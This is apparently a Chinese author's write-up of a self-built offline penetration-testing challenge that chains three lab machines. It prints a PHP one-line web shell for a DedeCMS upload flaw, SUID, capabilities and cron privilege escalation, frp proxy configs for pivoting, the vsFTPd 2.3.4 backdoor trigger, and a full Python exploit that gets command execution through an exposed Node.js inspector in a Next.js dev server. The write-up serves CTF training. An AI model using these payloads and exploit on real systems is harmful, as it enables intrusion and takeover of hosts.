虽然退役许久,但听说今年开始搞线下了所以也是又回来出了个题凑凑热闹(

为了出这个题,这次还专门自己写了个线下渗透赛平台。因为比赛规模很小而且是线下的方便现场监考,所以写的平台肯定是到不了生产级的,就不丢出来了,后面如果有师傅想借鉴一下的可以私下找我要(

出这个题的本意是希望新来的师傅能够接触一下真正的“黑客技术”,而不是局限于CTF的题目之中。

不多说了,上wp

Pentest

首先连接上openvpn,访问到node1

node1

先进行信息搜集,这里用fscan进行扫描

img

可以看到只开放了80端口,已经可以看出这是一个比较老版本的dedecms,所以必定存在很多漏洞。甚至从fscan的结果中已经可以看到有两个CVE可用,其中CVE-2012-1823是可以RCE的,且payload方法非常简单,感兴趣的师傅可以自己研究。这里展示这个版本除此二者之外存在的另一个漏洞,CVE-2019-8362.

/dede/login.php进入后台,弱口令admin/Admin123成功登录

依次点击 文件式管理器 - soft 来到存在文件上传的点

img
img

构造恶意文件,先写个一句话木马1.php

1
<?php @eval($_POST[1]);?>

将1.php重命名为1.jpg,后压缩为1.jpg.zip

然后将1.jpg.zip上传至前面的目录中

img

访问/dede/album_add.php,右上角 栏目管理 - 增加顶级项目,添加一个图片集

img

回到/dede/album_add.php,填一下标题选一下刚刚创建的图集,选择 从ZIP压缩包中解压图片 ,选择刚刚上传的1.jpg.zip

img

点击确定后预览文档,点开上传的文件看到其路径以及被重命名后的名称

img
img

用蚁剑连接,由于网站对某些字符开启了转义,因此需要选择使用base64编码器

img

拿到虚拟终端以后可以先弹个shell,至此就可以不再需要一直开着openvpn了((

img
img

拿个低权限的flag

img

接下来尝试提权,这里是suid提权,可以看到find被配置了suid权限

img

可以在gtfobins上查一下怎么提权

img

成功提权,拿root的flag

img

接下来是内网渗透,先要通过信息搜集找到node2

ifconfig看下网段,发现该机器是双网卡,另一个网段为172.22.40.0/24

img

通过蚁剑上传fscan,扫描这个网段,成功找到node2

img
img

node2

node2在内网,我们是无法直接访问到的,因此需要进行内网穿透,这里使用工具frp,配置如下:

frps.ini

1
2
[common]
bindPort = 7000

frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 填自己vps的ip
server_port = 7000

[socks_proxy]
type = tcp
remote_port =6000
plugin = socks5

在自己vps上启动frps,在node1上启动frpc

img
img

本地使用proxifier代理即可访问node2

img
img

根据前面的扫描结果访问3000端口,发现跑了一个SeanBlog

img

根据hint可以发现/__nextjs_attach-nodejs-inspector是一个开发环境的接口且存在未授权访问,由此知这个环境是直接以dev模式上线了,因此可以访问nodejs的调试端口9229获取Chrome DevTools Protocol (CDP)调试地址,通过ws连接到CDP调试接口即可执行js表达式RCE,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3

import json, sys, urllib.request, websocket

BASE = "http://172.22.40.35"
CMD = sys.argv[1] if len(sys.argv) > 1 else "whoami"
# 1) trigger inspector
try:
req = urllib.request.Request(BASE + ":3000/__nextjs_attach-nodejs-inspector", method="POST")
url = json.load(urllib.request.urlopen(req, timeout=10))
print("[1] attach-nodejs-inspector ->", url)
except Exception as e:
print("[1] attach endpoint:", e)

# 2) list CDP targets
targets = json.load(urllib.request.urlopen(BASE+":9229/json/list", timeout=10))
ws_url = targets[0]["webSocketDebuggerUrl"]
print("[2] CDP target:", ws_url, "| title:", targets[0]["title"])

# 3) Runtime.evaluate -> command execution
w = websocket.create_connection(ws_url, timeout=30, enable_multithread=True)
def call(method, params, mid):
w.send(json.dumps({"id": mid, "method": method, "params": params}))
while True:
m = json.loads(w.recv())
if m.get("id") == mid:
return m
call("Runtime.enable", {}, 1)
expr = "require('child_process').execSync(%r,{encoding:'buffer'}).toString('latin1')" % CMD
r = call("Runtime.evaluate", {"expression": expr, "returnByValue": True,
"includeCommandLineAPI": True}, 2)
out = r.get("result", {}).get("result", {}).get("value")
if out is None:
print("[3] ERROR:", json.dumps(r)[:800]); sys.exit(1)
try:
out = out.encode("latin1").decode("gbk")
except Exception:
pass
print("[3] command output for %r:\n%s" % (CMD, out))
w.close()

拿普通用户flag

img

弹个shell或者写入ssh公钥(因为这里也开了22端口),这里演示写入公钥

img

这里是capabilities提权,可以利用python3.10,由于配置了cap_setuid=ep,所以可以将自身权限切换到UID 0 (root),然后拿到root的flag

img

接下来信息搜集找node3,经过查看ifconfig发现这台机器也是双网卡,另一个网段是172.23.40.0/24

img

通过在自己的vps上起个简单的http服务把fscan传到node2上,扫描后发现扫不到下一台机器

img

怀疑node3机器禁用了icmp扫描,因此开启noping进行扫描,可以找到node3

img

node3

为了访问node3需搭建代理链

frpc.ini改为

1
2
3
4
5
6
7
8
[common]
server_addr = 172.22.40.151
server_port = 7000

[socks_proxy]
type = tcp
remote_port =6000
plugin = socks5

在node1上启动frps,node2上启动frpc

img
img

本地proxifier配置一下代理链

img
img

刚刚fscan扫到node3开了个21端口,nc连上去看看

img

可以看到是vsFTPd 2.3.4,这个版本存在著名的笑脸漏洞

用户名随便填后面加个:),密码随便写

img

此时6200端口就开了,nc上去就是shell

img

(由于中间重开了一次,这里开始node3 ip改为172.23.40.231)

在找flag的时候可以看到有个backup_config.txt,其中有一个ftp用户的账密

img

这里考察的是定时任务提权,可以看到有一条定时任务,每一分钟以root身份执行/var/ftp/pub/scripts/下的所有脚本

img

先写一个sh脚本,用于把root下的flag放到我们可读的目录并赋予可读权限

img

用刚刚我们找到的ftp账密登录上去,然后切换到目标目录上传刚刚准备的脚本

img

稍等一会回到刚才的shell,就可以看到被复制过来的root的flag

img